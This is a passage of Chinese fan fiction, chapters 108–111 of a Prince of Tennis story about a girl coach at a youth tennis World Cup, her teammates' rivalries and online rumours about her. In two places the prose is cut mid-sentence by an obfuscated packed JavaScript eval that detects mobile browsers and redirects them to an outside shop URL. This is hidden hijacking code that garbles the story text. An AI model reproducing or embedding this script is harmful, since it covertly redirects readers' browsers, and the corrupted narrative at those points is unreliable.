切原赤也挥舞着拳头兴奋地呐喊:“好耶!德川桑,幸村部长,上啊!” 第三个发球局,幸村精市开场便陷入了灭五感的状态中。 幸村精市站在一片漆黑中竟然微笑了起来,他与他的技能相伴多年,亦不是第一次触碰这片黑暗,这片黑暗早已不再是他的阻挠,而是他的武器。 七海,我已经不会再受过去的困扰了。 有大家在,有你在,有你的支持,即使感受不到五感,我也永远会将那一球回击!就和全国大赛时一样! 伫立在赛场上的少年,仅仅停了两球的时间,无神的双目中便刹那间亮起了耀眼的光芒。 心意之间,少年原本停滞的脚步跑动了起来,蓝紫色的发丝也跟着摆动,他奋力向空中那颗黄色小球追赶而去,随即跳起,猛地一挥拍! “给你添麻烦了,德川君!” “15-30!”小球在对角线刹车弹起。 “日本队,果然今非昔比。”博格面无表情地夸赞道,“不过,也有二阶堂教练所不知道的事。” 下一瞬,赛场上,德国队的两人实现了能力共鸣! 然而还没结束,同一时间日本队的两位选手也实现了能力共鸣! 两边比分再次焦灼不下,见此一幕,博格终于使出了他的绝技——漩涡的洗礼出现了!即使被预判也无法回击的球,将日本队的第六感共鸣完全压制! “我还想着漩涡的洗礼是要在正式比赛上才能见到,没想到表演赛上就出现了!”毛利寿三郎激动地喊出声。 “Game 德国,4-4!” 七海猛地从教练席上站起来,她没想到,仅仅是一场表演赛,居然就激烈到这种程度,她和毛利寿三郎一样,也以为博格的漩涡的洗礼要等到正式比赛才会出现。 博格毫不留情地将德川手中的球拍击飞,“放弃吧!” 看台上,出现了一个意外的人物。 越前龙马接住飞旋到后场的球拍,冲着场下直言:“别放弃!” 七海转过头向高处张望,这才发现美国队的全员都来到了看台边观赛。 不,这不是关心美国队的时候。少女将头转回,目光继续紧紧跟随着赛场上的己方选手。 最后一局了,即使赢不了,也拿出士气给他们看! 球拍回不了的球,像海盗的号角那招一样用拍柄回不就行了! “喝啊——”不知是否是那一瞬与她心有灵犀,幸村精市用尽最后一分力气,将飞旋而来的网球以拍柄猛力挥击! 一片寂静无声后—— “德国队的旗帜......被打破了!”路人观众惊呼。 整个球场瞬间沸腾。为两国而欢呼的呼喝声此起彼伏,热烈到仿佛要掀翻整个球馆,所有人都在为这个令人振奋的一击激动不已! “Game end match,德国6-4!” 七海松了口气,狠狠跌坐回位置上。 “呵,打了一场不错的比赛。”平等院凤凰点评道。 “是呐。”少女浅笑着应和。 109.第 109 章 黄昏时分,万丈阳光如流淌的金河倾泻而下,染红了赛场上空的整片天际。墨尔本大道两侧的高楼大厦反射着夕阳的余晖,仿佛被镀上了一层金边,泛着耀眼夺目的光泽。 表演赛结束,少年们乘着余晖坐上了返程的巴士。 “七海,上车了。”不二周助冲着身后卡在半路上的少女温声呼唤。 “啊,好。”七海皱着眉看着手机上连续几个打不通的电话,连续几条无人回应的短讯,反复上下滑动着他们过去的聊天记录,心上涌起一阵担忧。他到底去哪儿了? 至于迹部景吾本人——他此刻已经和雷欧一起被澳大利亚队的高尔吉亚踢进了大海里。 “七海?” “来了!” 少年们在返回的路途上讨论着如今的世界杯排名,七海的心却早已飘远,直到,一个名字出现—— “越前龙雅?就是那个喜欢吃橙子的越前的哥哥吧?”丸井文太回忆道。 “那个人,真的很强吗?”切原赤也表示怀疑。 毛利寿三郎:“是啊,很强哦。说起来,小七海你不是去了美国,有见到他们吗?” 七海将眺望着窗边夕阳之景的头回正,点点头道:“嗯,那时我和精市去了美国职网协会。所以那时候我们就知道了,这两个人都加入了美国队。” 幸村精市回想起越前龙雅的能力,以及那场夜色下未打完的比赛,瞳孔中的柔和散尽。 “有一件很重要的事,请大家不要随意接受和越前龙雅的比赛,如果他向我们之中的任何一个人邀战,都必须事先和我说明。”她的语气突然严厉起来。 虽然她现在每天晚上都会去找他一趟以防万一就是了。 柳莲二发问:“二阶堂,为什么这么说?” “......这与他的能力有关,总之,如果他要和你们打比赛一定要让我知道。” 七海现在还不打算点破,这也是她与他的交易条约之一,日本队里除了她与远征一军中的几人还有幸村,目前无人知晓他的秘密。 少年们早已习惯自家教练诸多秘密的模样,倒是没有人继续追问。柳莲二与乾贞治还有切原赤也继续谈论起世界职网的“四大巨头”。 切原赤也转过身跑到七海身边:“呐,公主殿下,你不是这四个国家都去过了吗?你觉得这几个国家怎么样?” “嗯。这四个国家都十分强势,但,恐怕,现在最强的是西班牙队。”七海平视着前方,语出惊人。 梅达诺雷自不必说,那位被监禁着的罗密欧也大有文章,马尔斯,边博利的灵活身姿,还有一眼看出她精神力特殊性的那个金发小少年塞达...... “七海,你说西班牙队?”丸井文太咬破了嘴里的泡泡,车上的其他少年们也转过头来看向她。 切原赤也咋呼道:“德国队已经那么强了,西班牙队难道比德国队还强吗?” 忍足侑士扶了扶眼镜:“七海,你该不会和他们都打过比赛了吧?”他只怕她都是解封绝对主宰的情况下和他们打比赛。 “嗯,我倒是没有和博格一战,不过瑞士队的阿玛迪斯和法国队的加缪我都接触过了,梅达诺雷......” 她欲言又止,如果她能保持绝对主宰状态,她自然有自信打败他,但她就怕自己一解封就又被强制封印。不解封,结果难料。 听到梅达诺雷这个名字,坐在前排的德川和也面色微变。 七海继续强调:“总之,虽然西班牙队那群人估计没有兴致找我们这样的弱队打比赛,但如果西班牙队的人找你们打比赛,也一定要和我报备......不,是必须拒绝,并第一时间通知我。” “他们的制服就是我来的那天穿的那身,看到穿那身制服的人,能避则避。” 众人面面相觑,连自家天才教练都这么郑重其事对待的队伍,西班牙队是什么洪水猛兽吗。 平等院转过头看了一眼独自一人坐在靠窗位置上面色平静的少女,神色复杂。 二阶堂,你在西班牙到底经历了什么。 ---------------------------- 回到选手村,众人预备去吃饭,七海则与他们分开,根据手冢国光发给她的房间号,来到了德国的选手宿舍楼下。 “喂,你是什么人!”门口的两位安保人员用德语将她拦下。 “我是德国队的顾问。”七海从衣兜中掏出卡片递过去,这一句德语她早已学会。 她今天才从手冢国光口中得知,当初第一天来到德国职网协会大楼时,前台接待员给她的那张黑红色印着德国队的鹫标的卡,居然是德国职业网球协会的通用身份卡。 那么恐怕,瑞士队那张印着阿尔卑斯山浮雕的白色通行卡也是瑞士职业网球协会的通用身份卡了。 “抱歉,失礼了。请上楼。”两人让出通道。 她走远了,身后才传来隐隐约约的讨论声。 “啊,这个人不就是今天早上给了个直播特写镜头的那个什么日本队教练吗!” “原来她本来就是德国队的顾问啊......这是允许兼任的吗?” 电梯上楼,少女在一间房间前停下,敲了敲门。 “七海。”开门的手冢国光似乎刚洗完澡,房间微潮的空气中氤氲着一缕淡淡的沐浴露香。 少年身上的德国队制服已换下,上身的蓝白细条纹衬衫似乎刚套上,胸前的三颗纽扣全散着,发梢和锁骨上还在往下滴着水珠,精壮的胸膛若隐若现,下身是一条浅蓝色的休闲裤。 他的金边眼镜难得没有架在鼻梁上,狭长的凤眼微微上挑,清隽润泽。 七海为着这过于秀色可餐的画面愣了一瞬,脸有点泛红。大部分时间他在她面前都穿得严严实实的,从来没有像今天这样。 “七海,我的头发还没干,你在沙发上等我一下。”他示意她进来。 她不知怎么地心下一慌,有点不敢进去,只是,他都没有任何表示,她这样如临大敌似乎有点过分揣度他了。七海犹豫了几秒,还是走进房间在沙发上落座,环顾起四周。 还是东道主澳大利亚有钱啊!德国队不愧是过去九年的世界第一,在选手村里给他们分配的宿舍楼也是最豪华最宽敞的—— 这间一居室约有70平大,松软的大床,配套的沙发一摸便知是极好的皮料,甚至还有张大书桌摆在落地窗前。 书桌上似乎放着几个本子,她起身走到书桌前认真观察。一本看封面是德语书,另一本是普普通通的笔记本,说起来,这本笔记本那天她从他的德国小房间醒来时,他也在上面写着什么。 七海的好奇心刺挠着她,有一个声音在告诉她,打开来看看。 拿起笔记本,封面上隽秀的笔迹写着手塚国光四个字,除此之外别无信息。这本笔记本不算薄,从侧面看有指甲盖那么厚,根据侧边的褶皱情况,他已经写了一大半了。再翻到背面,一无所获。 【翻开来看看吧。】 不行,侵犯他人隐私肯定是不对的,她还是不要看了。这么想着,她将手中的笔记本放回了桌上。 与此同时,手冢国光也从浴室里走出来,戴上了眼镜,正巧瞥到她将笔记本放回桌上的动作,他的步伐稍稍急促了些,快步走到窗边。 “七海,你看了吗?” “国光,你好了。这是你的隐私,我没看。”她赶紧摆手为自己辩解。 紧绷的神经瞬间松弛下来,将心放平,再次将目光看向站在窗边的少女时,他的眼中多了一些浓烈翻滚着的情绪。 “七海,今天我赢了。” 手冢国光还记得他输掉的那场双部之战,还记得比赛结束后,她赌气地喊他“手冢部长”,还记得在舞会后的天台上,她提到那场比赛时的悔恨与自责。 今天他赢了,赢得很干脆,很彻底。 “啊,嗯。我看到了,国光你真的......!”七海的心思和视线还停留在笔记本上,没能注意到他眼中的情愫,还没等她嘴上客气地夸完,双唇就被一抹温软包裹,少年身周的淡淡雾气和沐浴露香气将她彻底笼罩。 他想是那一次的吻让他食髓知味了,只是见到她毫无防备地站在他的房间里,他就只想遵循本心。 又或者是因为嫉妒,他不想看到她担忧的眼神投射到其他人身上,分明在过去的比赛中,那样的眼神只会给他,而不是迹部。 赢的人是他,她却不再看着他了。 他的吻在温柔缱绻和霸道之间交替着,双臂钳制着她,良久,从嘴唇逐渐过渡到脖颈,不轻不重地在侧面吮咬了一口,留下一点红痕,缓缓松开了她。 “国,国光......”七海轻喘着气喊着他的名字,她被吻得浑身发软,勉强用手掌按着背后的窗不让自己滑落,清澈若泉的紫眸此时被惊慌与迷茫所充满。 他,他怎么能这样!以后再也不敢进他的房间了......她的心成了一团乱麻,各种思绪纷乱交织。 然而他又抱住发软的她开始道歉了。 “七海,对不起。” 他在为什么道歉,为强吻她道歉?那就不要强吻她啊......七海眼底闪过一丝无奈。 声音在耳畔响起:“我本想靠比赛让那两个韩国人闭嘴。” 原来是为了今天中午的事...... 七海的思绪又飘飞回了今天中午,那几个当众羞辱她的人,评论区那些下流恶毒的话,被共用...... 她的胸口闷滞起来,心像被撕裂着,每一寸都像被针扎一般细细密密地疼着。 而她现在又在他房间里被他......谁又能说他们说得是错的。七海在心中自嘲着,喷薄而出的纷杂情绪像是达到了一个临界点,她无法自控地再次落泪了。 手冢国光感受到肩上的一滴湿热,赶忙往后退了半步,为她拭去脸上的泪水。 “七海,我不会再让这样的事发生。”他的神色冷了几分,“造谣的账户QP已经处理了。”他本想找他帮忙,却没想到QP已经处理好了。 不想再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078121|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭哭啼啼,她使劲眨眨眼收回了泪意,“谢谢,国光。也帮我谢谢QP。” “可是,堵住了网上那些人的嘴,也难以堵住悠悠众口呐。”她低声道。 她不是听不到,今天无论自己走到哪里,都有人在身后指指点点说三道四,她也是不想部员们听到了难受,才在饭后找了个理由与她们分开。 为着这些流言,阿玛迪斯和加缪甚至雷特鲁都特意给她发了短讯致歉。 他们没能想到开幕式上,因为西班牙队的发言而临时起意的那几句话让她背负了来自世界各地的恶意,甚至差点毁了她的名誉。 “七海。”少年喊她的声音突然变得十足地严肃。七海怔怔地抬头看向他。 “只有实力能让他们闭嘴。” “我们知道你的实力,外人不知道。” “你应该找个机会证明自己。”这是他视若珍宝的人,他怎么可能不痛恨,只是,这是她要学会解决的问题。 “国光......我明白了,谢谢你。”少女露出了一个感激的笑。 她想起了正事:“对了,雷特鲁教练不是找我有事吗?我们是不是该和大家一起去吃饭了。” “啊。他们已经在餐厅了,我们一起过去。” ...... “七海,国光。”一走进餐厅,坐在长桌一角的雷特鲁就热情地向他们招了招手。 “雷特鲁教练,大家,晚上好。”七海礼貌微笑着应声,在为他们留下的两个位置上坐下。 雷特鲁洞若观火,他们的天才顾问一走近,他就发现了她微微泛红的眼眶以及白皙的脖颈上那一点过分明显的红痕。 他轻轻眯起眼,看来国光也没有他以为的那么对感情一窍不通呢。 “七海,今天的比赛真是让我对日本队彻底改观了。”雷特鲁朗声笑着,毫不吝啬他的夸奖。“这其中一定少不了你的助力吧。” 七海诚恳作答:“是他们本就优秀。” “对了,我还是想为开幕式上的事向你道歉。是我主张让博格这么说的,不过,这话也是真心的,如果德国队取得十连冠,七海,你就来德国队吧。” 少女随意笑了笑:“那就等德国队真的十连冠再说吧。” “好,就等你这句话了。”雷特鲁将手上的刀叉放下,拿起方巾擦了擦嘴。 “还有一事,这个建议也是QP提出的。七海,不如,哪天找个机会把你的比赛视频放出来吧。之前在德国时,你和国光还有塞弗里德的比赛我们都录像了。” 七海将视线移向坐在对面尽头正温和地冲她微笑的QP,投过去一个感激的眼神,她想她大概猜到他这个主意是为了什么了。 “是想让我在世界面前证明自己的实力,打消那些流言蜚语吗?” 雷特鲁挑了挑眉:“不愧是七海,我们正有此意。” 塞弗里德不知不觉间扮演起了刀子嘴豆腐心的角色:“日本女人,你明明那么强,被那些垃圾污蔑值得吗!” 七海的眼眶又开始发酸,胸口似乎有一股暖流从心脏蔓延到四肢百骸。 德国队,明明她和他们也算不得多熟稔,他们却这样为自己着想,就仿佛,真的已经把自己当做了队里的一份子。 相比之下她这个顾问却没做什么帮助他们的事,反而是站在他们的对立面想尽办法让他们败。 如果放出那些视频,她的实力确实能够得到澄清,可是德国队的最新数据也会暴露在公众视野......让她再考虑考虑吧。 “谢谢,塞弗里德,QP,谢谢大家。我会好好考虑这件事的。”少女粲然一笑。 手冢国光听着桌上的对话,金边眼镜下的凤眸柔和了几分。 他再一次坚定了要让德国队夺得世界杯十连冠的信念。 ...... 一顿饭吃完,七海毫不意外地得知这群少年们还要继续训练。 德国队......人们只能看到他们的九连冠,可谁又能想像到他们背后付出的成倍的努力,体验着的成倍的孤独,以及为了维持连冠,为了不辜负赞助商和国民的期待的所背负的成倍的压力。 她忽地想到了立海大,或许万事万物的命途总是有相似之处。胜者的路并非坦途,败者的路也满是荆棘,没有谁是容易的。 “七海,小心台阶。”身边的少年平静地提醒道。 “好。国光,不用送我了,我还要去美国队那边一趟。” 手冢国光皱了皱眉,“美国队。” “嗯,有点事。”七海笑眯眯道,一副不想多说的模样。 “七海,任何事别自己一个人扛。” “嗨嗨,知道了。国光,忧思过多会加速衰老的啦。” 挥手与少年道别,七海走了两步便停了下来,转身,默默地望着他离去的背影,面色晦暗不明。 德国队十连冠...... 国光,如果不踩着你们的梦想上去,她和他们的梦想就要碎了...... 对不起,国光。 110.第 110 章 【19:30 to越前龙雅:越前君,我到了。】 【19:32 越前龙雅:自己来2号公共网球场】 【19:33 to越前龙雅:早就到了就早点告诉我啊!= =】 七海无语地从美国队的选手宿舍门口转身向选手村里的公共网球场走去。 “二阶堂,来了啊。”越前龙雅吊儿郎当地靠着围网,手里依旧抛着他那似乎永远抛不腻抛不烂的橙子。 今夜的月色算不得多美,天上的月亮像是被阴霾遮蔽,只能散发出暗淡的磷光,少年被阴影笼罩着,看着竟然有几分孤寂,而非潇洒肆意。 “来了,我待会儿还要回去议事,我们尽快吧。”她从网球包中取出拍子干脆道。 “二阶堂,你该不会真把自己当神了吧,普度众生?”他仰头望着夜幕,语调端得是漫不经心。 七海眨了眨眼,他这是因为白天的事在帮自己说话吗。 “越前君,或许,你听说过无罪推定原则吗?” “我不是为了保护垃圾才和你交易,是为了保护值得保护的人和无辜的人。不过,如果你看到了说我坏话的人,愿意为我出气的话,那我也很感激,先提前谢过你了。” “而且现在这样不好吗,你可以自由地和别人打比赛了。” 她也可以放心与她有关联的那些国家队的选手不会被他剥夺技能了。 曾经被剥夺能力的雾谷,听平等院说到现在都还没有恢复过去的实力,她不允许这样的事再次发生,太残忍了。 即使被剥夺的人拥有从头再来的勇气和能力,可耗费的时间呢,运动员的花期本就短暂。更何况,她似乎是唯一一个有能力封印他的吞噬能力的人,她没法坐视不理。 神,或许在她决定这么自称的那一刻,悬在头顶的达摩克利斯之剑就已坠落。 七海收起思绪笑了笑,又抛出了一连串的问题。 “之前听莱因哈特说,你一直不和队里的人打比赛。越前君,你不是坏人呐,不是吗?明明喜欢网球,却没法自在地和别人打球,难道不遗憾吗?” 橙子少年意味不明地轻笑了一声,这才将视线转向站在场边的少女,随即,他敏锐地注意到了她脖子上的红痕。 七海不明所以然地看着越前龙雅大踏步地向她走来,越走越近......他的头居然凑到了她脖子边上?!他要干嘛! 她赶紧往后退了一大步。 “你干嘛!”她的声音染上了一丝慌乱。 越前龙雅直起身,嘴角浮现一抹玩味的笑容:“二阶堂,你不知道自己脖子上有一点红痕吗?” 那个吻结束后她并没有照镜子,七海花了几秒时间,马上反应过来那道红痕的来源......一抹淡淡的红晕迅速漫上她的脸颊。 “是谁亲了你?”少年边抛着橙子边调侃。 七海冷声:“关你什么事。” “看来确实是谁亲了你啊。” “二阶堂,你,是谁都可以亲吗?”他再次大踏步向她逼近,少女再想往后退一步,后背却已经紧贴着围网。 网球场上的灯光和黯淡月光完全被他的高大身影给遮住了,她的眼前一片暗影,只有他脖子上的牛皮绳项链串着的圆条金属散发着淡淡的光泽。 她的紫瞳瞬间蒙上了一层阴翳,她想错了,越前龙雅这样的人怎么可能会为她说话。 “你也觉得我和网上说的一样,可以被随意羞辱践踏是吗,越前君。”她的声音冰凉。 少年的表情错愕了一瞬,他从来不怎么看网上的信息,是发生了什么? “越前龙雅,我警告你,如果你敢非礼我,我死也要用绝对主宰把你的能力彻底封印。”七海仰头咬牙厉声道。 他本想为方才那句无心的玩笑话道歉,被这样防备着,心念一转,笑容又阴鸷了几分:“哦,那你就封印好了,我求之不得呐,神様。” 现如今,她对他也算有几分了解,每次喊她神様就是他又开始阴阳怪气了。 他突然觉得兴致索然,“算了,不和你玩了,干正事吧。”越前龙雅往后退了一步,收起了刚才的冷厉,抄起场边的网球拍走向赛场的一边。 七海无语凝噎,这个人,真的很随心所欲,很莫名其妙! “解开吧,封印。接下来,是我的绝对主宰。”少女甩了甩长发,锐利的目光直视前方,两人之间的较量开始。 ......她再次感受到了那股拉扯之力,就是现在! 七海在绝对主宰下创造出的精神力牢笼,如今已可以将对场少年的吞噬能力完全封住。 缺陷是有时间限制,一次封印只能维持约一天时间,那个牢笼便会消散,并且前提是,他不主动破开封印。 只是,用这牢笼困住他,意味着把这部分精神力从她的精神力之海剥离,过程中会产生灵魂撕裂般的痛苦。 如若不是她的精神力足够强,一般人早就承受不住这样的剥离感昏迷。 “好,好了.......”七海将绝对主宰封印,一时不察,被脑中的刺痛逼得径直跪在了地上。球场白炽灯的照射下,本就血色尽失的面色显得愈发苍白。 越前龙雅几度皱眉,她居然打算每晚这样来一次,还真是把他当做恶人来防备了。 少年淡漠地看着她跪在地上痛苦喘息的模样,良久,终于还是决定做个好人。 “二阶堂,别告我非礼。”他将她打横抱起,往球场外走去。 道路对面迎来了不速之客。 “越前?!你对她做了什么!”迹部景吾从不远处就看到她被抱着,走近了发现她面色苍白呼吸微弱一副生命垂危的样子更是怒不可遏,心惊胆战。 越前龙雅冷笑:“不是我对她做了什么,是她对我做了什么。” “别用那种想杀人的表情盯着我......啧,你们这些少年人真没劲呢。算了,人还你。”他作势要将双手一松,迹部景吾赶紧将人接过。 他无暇顾及越走越远的墨绿发少年,将怀中的少女搂得更紧了一分。 “二阶堂,你怎么了!本大爷现在送你去医务室!”他焦急道。 七海此刻总算从大脑撕裂般的疼痛中缓和了些许,“景吾,你去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097435|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿了......我没事,去医务室也没用,放我下来吧。”她抬起手轻轻拍了拍他的肩膀。 半小时后。 七海默默然坐在公共网球场的座椅上,盯着迹部景吾一个人在那儿对墙击球。 她好说歹说,连哄带骗,他总算没有把她送去医务室,也没直接把她抱回宿舍,而是把她安置在座椅上。然后他就一个人在那儿对墙击球生闷气,她一脸茫然。 “原来二阶堂教练也在这里。迹部,在这里也早点和大家说一声嘛,大家都很担心你哦。”练习场门口传来了入江奏多的声音。 她看到迹部景吾的眉头皱得很深:“为什么在表演赛没有出全力?” 入江奏多答:“因为那是使尽全力也赢不了的比赛呐。比起这个,小组赛的抽签结果出来了哦,和我们一样分到B组的有希腊,瑞士和澳大利亚。” 七海无言,她还没来得及查看官网上的分组,小组赛居然就遇上瑞士了吗......她的抽签运,真的好烂。虽然换个角度想,她总是抽到和自己有瓜葛的队。 “最后的那个国家,是什么?”迹部景吾听到最后几个字瞳孔骤缩,再次向入江确认。 “澳大利亚,怎么了吗?” 下一瞬,紫灰发少年面色狠厉地打出了裹挟着巨大声波威力的一球,公共球场上方的玻璃灯罩尽数碎裂,除了她头顶上和他头顶上的那一盏。 灯光映照下,晶莹的玻璃雨中,他的表情再次回归了过往的自信张扬。 “看来会是一次有趣的世界杯,啊恩?” 入江奏多站在暗处无言以对,他的命不是命吗!迹部,你也太偏心了吧,虽然他站的这个地方也确实波及不到就是了。 算了,现在这个场合,他还是别当电灯泡了,只要确认他没事就行。 更何况,刚才那一击,是意外之喜呐。 向两人打了个招呼,入江奏多认命独自离开了公共网球场。 七海插嘴道:“景吾,恶意破坏选手村的公共财物会被退赛。”少年的身躯僵住了。 她有点想笑:“不过你这属于网球招式,应该只需要照价赔偿就可以了。” 僵住的身体放松了下来,他这才走到她头顶的灯光下注视着她,担忧的表情再次浮现。 “二阶堂,你刚才......”他也发现了她脖子上的红痕。 迹部方才还柔和的目光瞬息间染上了一丝晦暗,深深地钉在那道明显的痕迹上。顺着他突然变色的目光,七海立时反应过来......只是,她没想到他会如此直截了当地发问。 “啊恩?是谁亲了你,越前那家伙还是手冢还是幸村。” “是......”澳大利亚的蚊子确实挺毒的,但是她拿这样的话骗他就没意思了,更何况在法国时她已经答应了不再骗他。 “国光。”她下意识别过脸,咬住了唇。 “呵。”果然如他所料。德国见面时他就发现了,那个人,变得比过去强势直接了太多。 回想起白天的比赛,他居高临下的架势,少年蓝灰色的瞳孔中闪过一丝冷意。 111.第 111 章 迹部景吾去选手村的维修处修他的进水手机了,七海却并没有回到选手宿舍。 今夜的她忙得连轴转,她还得去公共休息室一趟,平等院凤凰给她发了短讯,初高中生们都在那里讨论小组循环赛的事。 抵达时,柳莲二正在向少年们解释循环赛的形式。 “各国32支队伍,将分成四支一组进行组内循环赛,最终每组出线两个国家进行接下来的十六强赛。” “每场比赛会进行三场单打两场双打,共计七人的对战,且每次出战选手不得重复。” 七海边走边接上:“也就是说,循环赛我们需要派出21名选手参赛,是一场实打实的团体赛呐。”她自然而然地走到了平等院凤凰身边站定。 “七海。” “二阶堂来啦!” “公主殿下!” “嗯,抱歉,来迟了。另外,真的很抱歉抽到了这么强的队伍。”七海今天第N次扶额叹气。她环视了一圈,发现教练组的人居然都不在,她本以为大家会一起商议明天对战希腊的名单。 “斋藤三船他们呢?” 乾贞治帮忙解答:“教练们应该在教练宿舍那边商定初赛名单。” “那我待会儿过去。”七海颌首示意,视线转向了坐在沙发上的白发少年。“仁王,你的伤现在感觉怎么样?” “区区皮外伤,噗哩。”仁王雅治还是那副痞笑着漫不经心的模样。 少女黑线。仁王雅治,你就倔吧,清洗伤口的时候偷偷皱眉的人不是他难道还是她。 “七海,你的脖子上是被澳大利亚的蚊子咬了吗?”大石秀一郎满脸担忧,他一眼就看到了她脖子上的红痕。 澳大利亚夏季的蚊子实在狠毒,据说这几天就有不少被蚊子咬出大包的选手去医务室买药,还有选手由于受不了身上的瘙痒在比赛时忍不住抓痒而失分。 “嗯。我待会去医务室买点药涂涂吧。”这么多人都在她总不能说有人亲在了这个地方吧。 幸村精市温声道:“七海,我房间里就有soov bite,待会我拿给你吧。” 七海没多想便点了点头:“啊,好。大家也是要注意防蚊,如果有裸露在外面的皮肤记得喷防蚊喷雾。” “七海,你回来了。”身后传来了三船入道的声音,她转过头,教练组四人都过来了。 “我们暂时拟定了三组人选,你看看。”三船入道将一张被划划写写的名单递过来,七海伸手接过。 松小队——主将:种岛修二 高中生:越知月光,种岛修二,德川和也。 初中生:大石秀一郎,切原赤也,白石藏之介。 竹小队——主将:鬼十次郎 初中生:幸村精市,真田弦一郎,远山金太郎,仁王雅治,不二周助,迹部景吾。 梅小队——主将:平等院凤凰 高中生:入江奏多,大曲龙次,Duke·渡边。 初中生:木手永四郎,石田银,亚久津仁。 七海边看边皱眉:“你们打算派哪个小组对战瑞士?还是说,已经做好了放弃打赢瑞士的准备。”她抬起头看向三船入道。 “这三个组,目前没有一个组能打赢瑞士队。”少女抖了抖名单,干脆地宣判了结局。 斋藤至憨笑了一下,解释道:“七海,瑞士队我们准备派梅小队上场。” “松竹对希腊和澳大利亚没问题。但瑞士......大家还要为后续的比赛保留精力,总不能让平等院上场和阿玛迪斯打吧。”七海瞟了身边面无表情的平等院一眼。 等他和阿玛迪斯打完,要是晋级赛再碰上个梅达诺雷或者博格什么的,她看平等院离翘辫子也不远了。 “阿玛迪斯,我来和他打。” 七海愣神了几秒,这才望向不远处的亚久津仁。 他悠然地倚靠在柱子旁,一头银发乱蓬蓬地竖立着,琥珀色的双眸目光凶恶,像一只随时都准备跃起撕咬的野兽。 气势很足,可惜没用。 “亚久津,那你就做好受伤回家的准备吧。阿玛迪斯的暗影是专门针对对手的弱点攻击,现在的你百分百打不赢他。”他的比赛结局她也没客气。 亚久津被这样毫不客气的“死亡宣判”噎了一下,表情有点臭,却未曾反驳。他们的这位天才教练的预判向来极准,他现在倒是不太介意被她打击了,其他人也一样。 少女又捏着下巴沉吟了片刻:“不过......我们的目标是出线,罢了,瑞士队输给他们就输了吧。我还是那句话,有些时候,实力大过天。大家输了不要气馁就是了,还有时间,我们还会再成长的。” 她放下手中的名单,微微一笑。 她的指挥从来不是给选手灌鸡汤说大家一定能赢的风格,能赢就是能赢,会输就是会输,她不想去依赖一些虚无缥缈的东西,只想实事求是,脚踏实地地求胜。 她不在意过程上的败,只要最终结果是胜便足够。 乾贞治扶了扶鼻子上的框架眼镜,提起了另一件趣事:“说起来,二阶堂,希腊队有一位名字叫宙斯的少年呢。” 切原赤也诧异:“宙斯?那不是古希腊神话里的神吗,岂不是和公主殿下撞人设了!他该不会是个假冒的吧!” 七海在心里默默叹了口气。赤也,你真是大家的开心果,你没发现这话一说出口,旁边的人都憋不住笑了吗。 她干脆笑眯眯回道:“那到底谁才是真神,明天见分晓。” ...... 回到宿舍,七海站在空荡的走廊上,背靠着墙,等幸村精市回房间拿药给她。房门大开着,他似乎毫不在意他人的窥探,可她却下意识将视线绕了过去。 少年果然拿着一支白色药膏走出来了。“精市,谢谢。” “七海,把头偏过去一点。”她下意识照做了。 还没等她说点什么,他就站定在离她极近的地方,将她一侧的长发往后轻撩,接着挤出一小团膏体,往脖子上的红痕处涂抹去。 药膏冰冰凉凉,涂在脖子上只觉得那一小圈地方都变得凉飕飕。 他的气息离她很近,是一股淡淡的说不出名头的植物清香,她甚至能够看清他根根分明的睫毛,他专注认真的双眸,带着薄茧的指腹不轻不重地在她的颈侧打着圈,有一点痒,她垂落在身侧的手指无意识间绞动着。 太近了,她咬着唇又想别过头避开他的触碰,又觉得自己好像不该避开。 她不知道为何有些愧疚,大庭广众之下她又骗了他。她该告诉他真相吗?那些暧昧的,摇摇欲坠的,不清不楚的,失序混乱的真相。 她真的不知道该怎么办了,她明明早已拒绝了这三个人,可他们似乎都没有放弃的打算。她好像该狠心拒绝一切接触,冷言冷语对待他们才对,可她......做不到。 她又想起了那两个韩国队选手说的话——“被共用”,心底泛起了不知道是羞辱感还是委屈还是其他纷乱不堪,荒谬至极的情绪,稀碎一地。 幸村看清了她眼底的晦涩和不安,轻声道:“七海,这不是被蚊子咬的,对吗。” 少女低垂着眼帘,睫毛轻颤,沉默不语。 走廊尽头的脚步声令她稍稍抬起眼往处瞥了一眼,是修好手机的迹部景吾。她看着他望见了这边的动作,大踏步走过来,面色不虞的模样,心中突然涌起了无尽的疲惫。 如她所料,他果然对他们两个过分靠近的姿势很不满。“幸村,你们在这里干什么,啊恩。” 她打断了这场本将爆发的硝烟。 “呐。韩国队的那两个人,说我是被日本队选手共用的。”七海垂着头低声道。 还没等他们组织好安慰的措辞,再次抬起头时,她声色哽咽地自嘲: “我是被共用的吗,是你们抢夺的物品吗?” “还是不知廉耻的人是我呢......你们不要再管我了!” 从来她都没有选择的资格,她也自认自己不配选择,可是最后错的人反倒变成了她。那么多的恶意向她涌来,她怎么可能一点都不害怕。 不顾两人脸上骤然浮现的惊慌无措,她恶狠狠地擦去眼角的泪水跑回了房间,大门砰地一声被狠狠关上。 夜深人静,房间里隐隐约约传来少女的啜泣声,一墙之隔的少年们听着她的哭声陷入了无言沉默。 ----------------------- 翌日,日本队与希腊队进行循环赛。 七海顶着过分红肿的双眼出现在了赛场的观赛区,而不是选手村的观赛区。 她现在还没想好该以什么样的面貌去面对那两个人,干脆跟着巴士班车来了赛场。 只是哭了那么久,她也想清楚了。 